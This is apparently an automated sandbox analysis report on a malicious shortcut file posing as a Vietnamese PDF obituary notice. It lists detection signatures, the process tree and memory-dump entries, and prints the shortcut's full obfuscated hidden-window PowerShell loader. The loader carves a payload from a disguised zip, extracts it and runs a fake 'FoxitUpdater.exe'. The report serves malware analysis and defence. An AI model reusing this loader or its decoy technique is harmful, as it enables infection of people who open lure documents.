Analysis
- max time kernel
149s - max time network
149s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
17/07/2026, 08:09
General
- Target Tin_buồn_PGĐ_Công_ty.pdf.lnk
- Size 2KB
- Sample260717-j2ethse19j
- SHA256 5b798cf328c17ecd6a2e759c9adc695b068640226f0d4fae049bcb6470d4ae56
Malware Config
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 4 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 4 IoCs
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\Tin_buồn_PGĐ_Công_ty.pdf.lnk1⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c PoweRshEll -W h "; [SyStem.IO.File]::OpenReAd($kbonw);($kbonw = (((( lS -Pa $Home -Re -in 'Tin_buo??n_PG?_Co?ng_ty.pdf.zip'))))[0].directoryname+ '\' +'Tin_buo??n_PG?_Co?ng_ty.pdf.zip');$eiij = [SyStem.IO.File]::OpenReAd($kbonw);$uoodl='Writ'+'EAlLb' +'ytEs'; $obbqvvv = NeW-ObjEct byte[] $eiij.Length; $eiij.Read($obbqvvv, 0, $obbqvvv.Length); $eiij.Close();$rslf=975;;;;;;[SyStem.IO.FIle]::$uoodl($Home+'\\aqdk.cp', $obbqvvv[$rslf..(7726592+$rslf-1)]);;tAR -xvf $Home\aqdk.cp -C $Home;Sleep -Seconds 4; powershell $Home\IFIR-7R-I2R8\FoxitUpdater.exe;2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exePoweRshEll -W h "; [SyStem.IO.File]::OpenReAd($kbonw);($kbonw = (((( lS -Pa $Home -Re -in 'Tin_buo??n_PG?_Co?ng_ty.pdf.zip'))))[0].directoryname+ '\' +'Tin_buo??n_PG?_Co?ng_ty.pdf.zip');$eiij = [SyStem.IO.File]::OpenReAd($kbonw);$uoodl='Writ'+'EAlLb' +'ytEs'; $obbqvvv = NeW-ObjEct byte[] $eiij.Length; $eiij.Read($obbqvvv, 0, $obbqvvv.Length); $eiij.Close();$rslf=975;;;;;;[SyStem.IO.FIle]::$uoodl($Home+'\\aqdk.cp', $obbqvvv[$rslf..(7726592+$rslf-1)]);;tAR -xvf $Home\aqdk.cp -C $Home;Sleep -Seconds 4; powershell $Home\IFIR-7R-I2R8\FoxitUpdater.exe;3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\tar.exe"C:\Windows\system32\tar.exe" -xvf C:\Users\Admin\aqdk.cp -C C:\Users\Admin4⤵
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" C:\Users\Admin\IFIR-7R-I2R8\FoxitUpdater.exe4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
StartupProfileData-NonInteractive
memory/2400-19-0x00007FFC682F0000-0x00007FFC68C94000-memory.dmp
memory/2400-20-0x00007FFC682F0000-0x00007FFC68C94000-memory.dmp
memory/2400-5-0x00007FFC682F0000-0x00007FFC68C94000-memory.dmp
memory/2400-6-0x00007FFC682F0000-0x00007FFC68C94000-memory.dmp
memory/2400-7-0x00007FFC682F0000-0x00007FFC68C94000-memory.dmp
memory/2400-8-0x00007FFC682F0000-0x00007FFC68C94000-memory.dmp
memory/2400-9-0x00007FFC682F0000-0x00007FFC68C94000-memory.dmp
memory/2400-10-0x00007FFC682F0000-0x00007FFC68C94000-memory.dmp
memory/2400-11-0x00007FFC682F0000-0x00007FFC68C94000-memory.dmp
memory/2400-12-0x00007FFC682F0000-0x00007FFC68C94000-memory.dmp
memory/2400-13-0x00007FFC682F0000-0x00007FFC68C94000-memory.dmp
memory/2400-14-0x00007FFC682F0000-0x00007FFC68C94000-memory.dmp
memory/2400-15-0x00007FFC682F0000-0x00007FFC68C94000-memory.dmp
memory/2400-17-0x00007FFC682F0000-0x00007FFC68C94000-memory.dmp
memory/2400-4-0x000001F392650000-0x000001F392672000-memory.dmp
memory/2400-18-0x00007FFC682F0000-0x00007FFC68C94000-memory.dmp
memory/2400-22-0x00007FFC682F0000-0x00007FFC68C94000-memory.dmp
memory/2400-21-0x00007FFC682F0000-0x00007FFC68C94000-memory.dmp
memory/2400-0-0x00007FFC6847F000-0x00007FFC68480000-memory.dmp
memory/2400-23-0x00007FFC682F0000-0x00007FFC68C94000-memory.dmp
memory/2400-24-0x00007FFC682F0000-0x00007FFC68C94000-memory.dmp
memory/2400-25-0x00007FFC682F0000-0x00007FFC68C94000-memory.dmp
memory/2400-26-0x00007FFC682F0000-0x00007FFC68C94000-memory.dmp
memory/2400-27-0x00007FFC682F0000-0x00007FFC68C94000-memory.dmp
memory/2400-28-0x00007FFC682F0000-0x00007FFC68C94000-memory.dmp
memory/2400-29-0x00007FFC682F0000-0x00007FFC68C94000-memory.dmp
memory/2400-30-0x00007FFC682F0000-0x00007FFC68C94000-memory.dmp
memory/2400-31-0x00007FFC682F0000-0x00007FFC68C94000-memory.dmp
memory/2400-32-0x00007FFC682F0000-0x00007FFC68C94000-memory.dmp
memory/2400-1-0x00007FFC682F0000-0x00007FFC68C94000-memory.dmp
memory/2400-38-0x00007FFC682F0000-0x00007FFC68C94000-memory.dmp